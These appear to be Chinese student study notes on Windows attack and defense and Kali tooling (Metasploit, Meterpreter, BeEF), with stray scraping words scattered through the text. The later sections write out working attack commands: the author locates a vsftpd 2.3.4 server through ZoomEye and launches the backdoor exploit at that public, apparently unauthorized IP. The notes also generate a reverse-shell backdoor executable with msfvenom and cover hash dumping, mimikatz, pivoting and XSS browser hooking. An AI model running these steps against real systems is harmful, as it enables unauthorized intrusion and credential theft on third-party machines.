教材《網絡攻防技術》第七章學習
第7章 Windows操做系統安全攻防
7.1 Windows操做系統基本框架概述
- windows基本結構分爲運行於處理器特權模式的操做系統內核以及運行在處理器非特權模式的用戶,即爲內核態和用戶態。
- 內核態:windows執行體、windows內核體、設備驅動程序、硬件抽象層、windows窗口與圖形界面接口。
- 用戶態:系統支持進程、環境子系統服務進程、服務進程、用戶應用軟件、核心子系統DLL。
- 核心機制:進程和線程管理機制、內存管理機制、文件管理機制、註冊表管理機制、網絡管理機制。
- 網絡管理機制:網卡硬件驅動程序(物理層)、NDIS庫以及miniport驅動程序(鏈路層)、TDI傳輸層(網絡協議驅動)(網絡層和傳輸層)、網絡APID以及TDI客戶端(會話層和表示層)、網絡應用程序和服務進程(應用層)。
7.2 Windows操做系統的安全體系結構和機制
- 監控器模型:主體到客體的訪問都經過監控器做中間,由引用監控器根據安全訪問控制策略來進行受權訪問,全部訪問記錄都由監控器生成審計日誌。
- 核心:SRM安全引用監控器(內核中)、LSASS安全服務(用戶態)、winlogon/netlogn、以及Eventlog
- 身份認證機制:
- 安全主體:用戶、用戶組、計算機
- 身份認證:本地身份認證(winlogon進程、GINA圖形化登陸窗口與LSASS服務)、網絡身份認證(NTLM、Lanman、kerberos)
- 受權與訪問控制機制:
+對象:文件,目錄,註冊表鍵值,內核對象,同步對象,私有對象,管道,內存,通訊接口。
- 屬性組成:Owner SID,Group SID,DACL自主訪問控制列表,SACL系統審計訪問控制列表。
- 安全審計機制
- 其餘安全機制:安全中心(防火牆、補丁自動更新、病毒防禦),IPsec加載和驗證機制,EPS加密文件系統,windows文件保護機制,捆綁的IE瀏覽器所提供的隱私保護和瀏覽器安全保護機制。
7.3 Windows遠程安全攻防技術
- 遠程安全攻防技術包括遠程口令猜解攻擊、windows網絡服務攻擊,windows客戶端和用戶攻擊。
- 生命週期:
- windows安全漏洞發現,利用與修補過程。
- 安全漏洞公開披露信息庫:CVE,NVD,SecyrityFocus,OSVDB。
- 針對特定目標的滲透測試攻擊過程:漏洞掃描測試、查找針對發現漏洞的滲透代碼、實施滲透測試。
- 使用metasploit軟件實施滲透測試:用戶接口(CLI、Console,web,GUI)。
- 遠程口令猜解攻擊:
- 遠程口令猜解:SMB協議(tcp44五、tcp139),其餘包括WMI服務、TS遠程桌面終端服務,MY SQL數據庫服務、SharePoint。工具包括:Legion、enum、smbgrind、NTScan、XScan、流光。
- 遠程口令字交換通訊竊聽與破解:NTLM、Lanman、NTLMV2和kerberos網絡認證協議的弱點。
- 遠程口令猜解的防範:關閉沒必要要的易受攻擊的網絡服務、配置主機防火牆來限制某些端口服務、網絡防火牆限制這些服務的訪問、禁用過期且有安全缺陷的Lanman和NTLM、指定強口令策略。
- 網絡服務遠程滲透攻擊:
- 針對NETBIOS服務的著名漏洞和攻擊、針對SMB服務的著名漏洞和攻擊、針對MSRPC服務的著名漏洞和攻擊、針對windows系統上微軟網絡的遠程滲透攻擊、針對windows系統上第三方服務的遠程滲透攻擊。
- 防範措施:最基本的是儘可能避免與消除這些滲透攻擊所依賴的服務軟件安全漏洞。
7.4 Windows本地安全攻防技術
- 本地提權攻擊:利用操做系統內核、特權用戶啓動程序中安全缺陷與漏洞,緣由是服務器和桌面系統沒有即時進行補丁更新。
- 敏感信息竊取:
- windows系統口令密文提取技術(拷貝口令密文文件、rdisk工具有份、pwdumpx從SAM文件或者活動目錄中提取口令密文)。
- windows系統口令字破解技術(L0phtCrack、John the Ripper、Cain)。
- 用戶敏感數據竊取:find、findstr、grep、meterpreter。
- 本地敏感信息竊取防範:選擇高強度、高防護的口令,使用更安全的加密明文算法,安全配置策略。
- 消滅蹤影關閉審計功能、清理事件日誌。
- 防範措施:事先設置系統審計和網絡服務審計,日誌記錄在不可擦除的CDROM上。
- 遠控和後門程序
- 遠控:命令行遠控工具(Netcat,psexec,meterpreter),圖形化遠控工具(VNC,RemoteAdmin,PCanyware)。
- 後門程序:國外(BO、BO2K),國內(冰河、灰鴿子、廣外女生、PCshare、磁碟機、機器狗等)。
- 防範措施:後門檢測軟件、殺軟、rootkitrerealer、IcSword。
kali視頻學習
26.KaliSecruity-漏洞利用之檢索與利用
- Exploit Database->searchsploit,會經過本地的Exploit-DB查找漏洞信息,能夠藉助關鍵詞搜索漏洞信息以及漏洞對應的ex。須要注意的是,searchsploit 使用 AND 運算符,使用的術語越多,濾除的結果越多。
- ikat,自動化開啓,等待目標訪問中招。
- termineter,評估智能電錶的安全性。
Metasploit在滲透測試中常常被用到,實際上這套軟件包括了不少工具,這些工具組成了一個完整的攻擊框架。這些工具或許在滲透測試中的每一方面都不能成爲最好用的工具,但組合起來的框架卻讓它變得很強大。html
1.開啓服務
Kali漏洞工具集中的重要組成工具,須要先開啓兩個PostgreSQL數據庫服務和metasploit服務,而後就能夠完整的利用msf數據庫查詢exploit和記錄。命令以下:python
service postgresql start //啓動postgresql數據庫
service metasploit start
啓動時發現顯示錯誤,緣由新的版本已經沒有metasploit服務了。
git
須要使用如下方法打開帶數據庫支持的MSF服務:
輸入
msfdb init
初始化MSF數據庫,再輸入
msfconsole
打開。
輸入
db_status
在msf中能夠查看數據庫鏈接狀態
若是不想每次開機都手工啓動服務,配置隨系統啓動:
update-rc.d postgresql enable
update-rc.d metasploit enable
2.路徑介紹
kali中,msf的路徑爲/usr/share/metasploit-framework
。
github
3.基本命令
- msfpayload:用來生成payload或者shellcode,搜索時候能夠用
msfpayload -l |grep 「windows」
這樣的命令來查詢,-o
選項能夠列出payload所需的參數。
- msfencode:msf中的編碼器,早期爲了編碼繞過AV如今經常使用msfpayload與它編碼避免exploit的壞字符串。使用它做爲攻擊載荷可以得到目標系統的一個meterpretershell的連接。
- msfconsole:開啓metasploit的console。
- msfvenom:是msfpayload和msfencode的混合體。msfpayload用來生成payload或者shellcode,msfencode是msf中的編碼器。
4.測試示例
- 首先在https://www.zoomeye.org搜索
vsftpd-2.3.4 +country:"CN"
,能夠搜索到運行該服務的主機,找到一個能夠ping通的IP。
- 而後用
nmap -sV
掃描目標主機和端口上運行的軟件的版本。結果顯示目標主機運行着ftp服務器,且版本爲vsftpd 2.3.4
(此版本的存在着漏洞,攻擊者能夠遠程獲取目標主機的root權限)。
- 下面利用metasploit實施攻擊。命令行輸入
msfconsole
開啓metasploit的console,而後輸入search vsftpd
,搜索與vsftpd匹配的模塊。
- exploit/unix/ftp/vsftpd_234_backdoor針對的正好是掃描出的2.3.4版本,接下來就能夠利用該模塊對目標進行攻擊。輸入
use exploit/unix/ftp/vsftpd_234_backdoor
,提示符提示進入到該路徑下,show options
查看須要設置的相關項。提示須要設置RHOST和RPORT(端口默認爲21),set RHOST 111.13.70.33
設置目標IP。
- 接下來選擇payload,輸入命令
set payload
,按Tab鍵自動補齊攻擊載荷cmd/unix/interact
,show options
查看須要設置的相關項,設置結束後輸入exploit
便可實施攻擊。
- 結果攻擊失敗,推測是對方打開了防火牆。
- 若是能夠攻擊成功的話,結果應該返回目標主機的shell,獲取了目標主機的root權限,能夠輸入命令查看id、網絡配置等。
Meterpreter是Metasploit框架中的一個拓展模塊,做爲溢出成功後的攻擊載荷使用。攻擊載荷在溢出攻擊成功之後給咱們返回一個控制通道。使用它做爲攻擊載荷可以得到目標系統的一個Meterpretershell的連接。
經常使用的命令有:web
background //將當前會話放置後臺
load/use 加載模塊
interact 切換進一個信道
migrate 遷移進程
run 執行一個已有的模塊
Resource 執行一個已有的rc腳本經常使用的meterpreter類型:
payload windows/meterpreter/reverse_tcp
1.生成meterpreter後門
使用命令:
msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.69.195 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
發現設置成功後仍沒法顯示,由於新版本的kali下msfpayload已經被移除了。新版本中只要使用msfvenom就好了,它集成了msfpayload和msfencode的功能。
算法
因此新版本中生成meterpreter後門的命令等同爲:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.69.195 LPORT=2333 -i 5 -f exe > /root/door.exe
生成成功,將其移入XP系統中,xp系統的IP地址爲172.16.69.109。
2.打開MSF,開啓監聽
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
顯示以下:
sql
set LPORT 2333 \\設置監聽端口
set LHOST 172.16.69.109 \\設置監聽地址
設置後顯示以下:
shell
3.監聽目標主機
在kali的msf中執行exploit開始監聽,而且在目標主機上執行door.exe。
數據庫
4.meterpreter shell
此時咱們取得了一個meterpreter shell。在meterpreter shell中輸入help查看可執行的命令,如sysinfo顯示目標系統信息,hashdump抓取哈希,pwd顯示當前路徑等。
vim
meterpreter還有一些擴展工具,使用load + tab鍵查看這些工具,而後選擇所需工具進行使用(load mimikatz用來抓取系統明文)。
5.返回msf和進入sessions
輸入background返回msf,若是想返回meterpreter shell,輸入sessions查看ID,輸入sessions -i ID選擇想返回的會話。
Meterpreter做爲後滲透模塊有不少類型,而且命令由核心命令和擴展庫命令組成,極大的豐富了攻擊方式。其有不少的功能,如添加一個用戶、隱藏一些東西、打開shell、獲得用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、獲得遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等。
在跳板機獲取必定權限後,須要積極的向內網主機權限發展,獲取制定的目標信息,探查系統的漏洞,藉助系統的漏洞,藉助Msf已經獲得的meterpreter後門,可使系列的操做更容易。
1.查看跳板機的網卡設置
使用ifconfig
命令:
2.添加路由表
run autoroute -s 10.0.0.1
這是在Metasploit最經常使用的方法,在添加路由表和session的關係後,即可以使用msf中的模塊跨網段掃描或攻擊。
3.開啓socks代理
經過使用auxiliary/server/socks4a
模塊,建立一個socks代理,能夠爲瀏覽器,Sqlmap,Nmap等使用。
background //把session置於後臺
search socks //使用socks開代理
use auxiliary/server/socks4a
showoptions
exploit
使用以上命令開啓:
4.進入session後,輸入run能夠看到在meterpreter上能夠作的不少命令。
5.經過run post/能夠看到後滲透測試的模塊。
30.KaliSecruity-漏洞利用之BeEF
對XSS漏洞每每須要一個強大的框架支持,如網絡上的XSS平臺,在KALI下,BeEf是一款絲絕不遜於XSS平臺的工具。BeEf是瀏覽器攻擊框架的簡稱,是一款專一於瀏覽器的滲透測試工具,它擴展了跨站漏洞的利用,能hook不少瀏覽器並能夠執行不少內嵌命令。
1.BeEF攻擊示例
- 命令行下啓動BeEF。命令行輸入
beef-xss
,出現錯誤提示說使用的是默認用戶名,須要修改用戶名或者密碼才能夠啓動。
- 使用
vim /etc/beef-xss/config.yaml
修改密碼爲feeb,再次輸入beef-xss
,瀏覽器自動訪問頁面http://127.0.0.1:3000/ui/authentication,輸入用戶名和密碼登陸後進入主界面。
- 假設被測試主機因爲XSS漏洞請求到頁面http://127.0.0.1:3000/demod/basic.html,這是一個測試頁面,若是經過XSS把該頁面加入頁面請求中,也就是說每一個訪問某個頁面的人都會訪問該頁面,則訪問者就會被BeEF hook到,即加入到Online Browsers中。
- 這樣在主界面左端就能夠看到一個在線主機,右側 Current Browser 標籤頁中顯示一系列信息。
- HOOK持續的時間爲關閉測試頁面爲止,在此期間,至關於被控制了,能夠發送攻擊命令。以MISC下的Raw JavaScript模塊爲例進行測試,右端輸入 Javascript code
alert('well done,man');return 'It worked!';
給目標彈出窗口,點擊Excute進行攻擊。
- 若是成功,會彈出窗口提示。
- 這時Command results顯示
result=It worked!
。
2.BeEF的Proxy功能
- 選中目標主機,點擊右鍵,在菜單中選中use as Proxy。
- 在Proxy選項卡中的Forge Request編輯併發送想要發送的內容,Host設置成爲localhost
127.0.0.1:3000
。
- 點擊send,在History選項卡中會顯示執行請求的信息。
- 執行完畢後,點擊該條目,查看包的細節。藉助於此,可讓目標訪問特定的頁面,若是特定頁面有漏洞,就會中招。
- 以上就是依賴目標作一個代理,而後請求一個特定頁面的過程。
BeEF默認不加載Metasploit,若是要使用Metasploit豐富的攻擊模塊,須要作如下配置。
- 首先修改
/usr/share/beef-xss/config.yaml
文件,將metasploit設置爲true。
- 而後修改
/usr/share/beef-xss/extensions/metasploit/config.yaml
文件,host和callback_host設置成本機IP地址,而後再修改Custom路徑爲/usr/share/metasploit-framework
便可。
- 設置完成後打開msfconsole,輸入命令
load msgrpc ServerHost=172.16.69.195 Pass=abc123
。
- 此時進入目錄
/usr/share/beef-xss/
,執行./beef -x
命令,從新加載metasploit模塊。
service beef-xss start
命令重啓服務,而後從新登錄BeEF,metasploit下增長了不少可使用的模塊,如今就可使用metasploit的模塊進行攻擊了。
《Python 黑帽子》第6、九章
代碼託管:
https://github.com/jsjliyang/python3-Black.Hat/tree/master/chapter6
https://github.com/jsjliyang/python3-Black.Hat/tree/master/chapter9
參考資料